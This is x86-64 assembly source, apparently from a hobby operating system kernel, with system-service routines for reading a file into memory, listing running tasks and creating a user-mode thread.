kernel_service_storage_read:
; preserve original registers
push rax
push rbx
push rcx
push rsi
push rbp
push r8
push r9
push r11
push rdi
; kernel environment variables/rountines base address
mov r8, qword [kernel_environment_base_address]
; prepare space for file descriptor
sub rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE
mov rbp, rsp ; pointer of file descriptor
; get file properties
movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id]
movzx ecx, byte [rdi + LIB_SYS_STRUCTURE_STORAGE.length]
lea rsi, [rdi + LIB_SYS_STRUCTURE_STORAGE.name]
call kernel_storage_file
; file found?
cmp qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id], EMPTY
je .end ; no
; prepare space for file content
mov rdi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte]
call kernel_service_memory_alloc
; no enough memory?
test rax, rax
jz .end ; yes
; load file content into prepared space
mov rsi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id]
mov rdi, rax
movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id]
call kernel_storage_read
; retrieve current task pointer
call kernel_task_active
; restore file descriptor
mov rax, qword [rsp + KERNEL_STORAGE_STRUCTURE_FILE.SIZE]
; inform process about file location and size
push qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte]
pop qword [rax + LIB_SYS_STRUCTURE_STORAGE.size_byte]
mov qword [rax + LIB_SYS_STRUCTURE_STORAGE.address], rdi
.end:
; remove file descriptor from stack
add rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE
; restore original registers
pop rdi
pop r11
pop r9
pop r8
pop rbp
pop rsi
pop rcx
pop rbx
pop rax
; return from routine
ret
;-------------------------------------------------------------------------------
; out:
; rax - pointer to list of first task descriptor
kernel_service_task:
; preserve original registers
push rbx
push rcx
push rdx
push rsi
push rdi
push r8
push r10
; kernel environment variables/rountines base address
mov r8, qword [kernel_environment_base_address]
.lock:
; request an exclusive access
mov al, LOCK
lock xchg byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], al
; assigned?
test al, al
jnz .lock ; no
; length of tasks descriptors in Bytes
mov eax, LIB_SYS_STRUCTURE_TASK.SIZE
mul qword [r8 + KERNEL_STRUCTURE.task_count]
; assign place for task descriptor list
mov rdi, rax
add rdi, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift
call kernel_service_memory_alloc
; store information about size of this space
add rdi, ~STATIC_PAGE_mask
shr rdi, STATIC_PAGE_SIZE_shift
mov qword [rax], rdi
; parse every entry
mov rbx, KERNEL_TASK_limit
mov r10, qword [r8 + KERNEL_STRUCTURE.task_queue_address]
; preserve memory space pointer of tasks descriptors
add rax, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift
push rax
.loop:
; entry exist?
cmp word [r10 + KERNEL_TASK_STRUCTURE.flags], EMPTY
je .next ; no
; do not pass kernel entry
cmp qword [r10 + KERNEL_TASK_STRUCTURE.pid], EMPTY
je .next
; share default information about task
; process ID
mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid]
mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], rdx
; process parents ID
mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid_parent]
mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid_parent], rdx
; wake up process micotime
mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.sleep]
mov qword [rax + LIB_SYS_STRUCTURE_TASK.sleep], rdx
; amount of pages used by process
mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.page]
mov qword [rax + LIB_SYS_STRUCTURE_TASK.page], rdx
; current task status
mov dx, word [r10 + KERNEL_TASK_STRUCTURE.flags]
mov word [rax + LIB_SYS_STRUCTURE_TASK.flags], dx
; taks name length
movzx ecx, byte [r10 + KERNEL_TASK_STRUCTURE.length]
mov byte [rax + LIB_SYS_STRUCTURE_TASK.length], cl
; task name itself
lea rsi, [r10 + KERNEL_TASK_STRUCTURE.name]
lea rdi, [rax + LIB_SYS_STRUCTURE_TASK.name]
rep movsb
; next task descriptor position
add rax, LIB_SYS_STRUCTURE_TASK.SIZE
.next:
; move pointer to next entry of task table
add r10, KERNEL_TASK_STRUCTURE.SIZE
; end of tasks inside table?
dec rbx
jnz .loop ; no
; last entry set as empty
mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], EMPTY
; return memory pointer of tasks descriptors
pop rax
; release access
mov byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], UNLOCK
; restore original registers
pop r10
pop r8
pop rdi
pop rsi
pop rdx
pop rcx
pop rbx
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to function of current task to execute as thread
; rsi - pointer to string as name of thread
; rdx - length of that string
;out:
; rax - process ID of thread
kernel_service_thread:
; preserve original registers
push rbx
push rcx
push rdx
push rsi
push r9
push r10
push r11
push r15
push rdi
;-----------------------------------------------------------------------
; prepare task for execution
;-----------------------------------------------------------------------
; register new task on queue
mov rcx, rdx
call kernel_task_add
;-----------------------------------------------------------------------
; paging array of new process
;-----------------------------------------------------------------------
; make space for the process paging table
call kernel_memory_alloc_page
; update task entry about paging array
mov qword [r10 + KERNEL_TASK_STRUCTURE.cr3], rdi
;-----------------------------------------------------------------------
; context stack and return point (initialization entry)
;-----------------------------------------------------------------------
; describe the space under context stack of process
mov rax, KERNEL_TASK_STACK_address
mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_process
mov ecx, KERNEL_TASK_STACK_SIZE_page
mov r11, rdi
call kernel_page_alloc
; set process context stack pointer
mov rsi, KERNEL_TASK_STACK_pointer - (KERNEL_EXEC_STRUCTURE_RETURN.SIZE + KERNEL_EXEC_STACK_OFFSET_registers)
mov qword [r10 + KERNEL_TASK_STRUCTURE.rsp], rsi
; prepare exception exit mode on context stack of process
mov rsi, KERNEL_TASK_STACK_pointer - STATIC_PAGE_SIZE_byte
call kernel_page_address
; set pointer to return descriptor
and rax, STATIC_PAGE_mask ; drop flags
add rax, qword [kernel_page_mirror] ; convert to logical address
add rax, STATIC_PAGE_SIZE_byte - KERNEL_EXEC_STRUCTURE_RETURN.SIZE
; set first instruction executed by thread
mov rdx, qword [rsp]
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rip], rdx
; code descriptor
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.cs], KERNEL_GDT_STRUCTURE.cs_ring3 | 0x03
; default processor state flags
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.eflags], KERNEL_TASK_EFLAGS_default
; default stack pointer
mov rdx, KERNEL_EXEC_STACK_pointer - 0x10 ; no args
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rsp], rdx
; stack descriptor
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.ss], KERNEL_GDT_STRUCTURE.ds_ring3 | 0x03
;-----------------------------------------------------------------------
; stack
;-----------------------------------------------------------------------
; alloc stack space
mov rcx, KERNEL_EXEC_STACK_SIZE_page
call kernel_memory_alloc
; map executable space to thread paging array
mov rax, KERNEL_EXEC_STACK_address
or bx, KERNEL_PAGE_FLAG_user
mov rsi, rdi
sub rsi, qword [kernel_page_mirror]
call kernel_page_map
; process memory usage
add qword [r10 + KERNEL_TASK_STRUCTURE.page], rcx
; process stack size
add qword [r10 + KERNEL_TASK_STRUCTURE.stack], rcx
; aquire parent task properties
call kernel_task_active
; threads use same memory map as parent
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map]
mov qword [r10 + KERNEL_TASK_STRUCTURE.memory_map], rax
; threads use same streams as parent
; in
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_in]
inc qword [rax + KERNEL_STREAM_STRUCTURE.count]
mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_in], rax
; out
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_out]
inc qword [rax + KERNEL_STREAM_STRUCTURE.count]
mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_out], rax
; map kernel space to process
mov r15, qword [r9 + KERNEL_TASK_STRUCTURE.cr3]
or r15, qword [kernel_page_mirror]
call kernel_page_merge
; mark thread as ready
or word [r10 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_active | KERNEL_TASK_FLAG_thread | KERNEL_TASK_FLAG_init
; return process ID of new thread
mov rax, qword [r10 + KERNEL_TASK_STRUCTURE.pid]
; restore original registers
pop rdi
pop r15
pop r11
pop r10
pop r9
pop rsi
pop rdx
pop rcx
pop rbx
; end of routine
ret